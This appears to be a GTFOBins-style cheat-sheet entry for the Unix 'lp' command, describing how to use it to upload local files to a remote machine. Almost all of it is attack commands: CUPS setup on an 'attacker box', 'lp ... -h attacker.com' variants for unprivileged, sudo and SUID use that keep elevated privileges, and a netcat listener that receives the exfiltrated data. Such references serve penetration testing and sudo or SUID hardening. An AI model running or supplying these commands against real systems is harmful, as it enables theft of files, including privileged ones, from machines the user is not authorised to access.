.. / lp

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• Upload

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This executable can upload local data.

• Comment

  This requires cups to be installed. Run the following on the attacker box beforehand:

  1. lpadmin -p printer -v socket://localhost -E to create a virtual printer;
  2. lpadmin -d printer to set the new printer as default;
  3. cupsctl --remote-any to enable printing from the Internet.
  Unprivileged

  This function can be performed by any unprivileged user.

  lp /path/to/input-file -h attacker.com

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  lp /path/to/input-file -h attacker.com

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  lp /path/to/input-file -h attacker.com

  Receiver

  A TCP server can be used on the attacker box to receive the data.

  nc -l -p 9100 >/path/to/output-file

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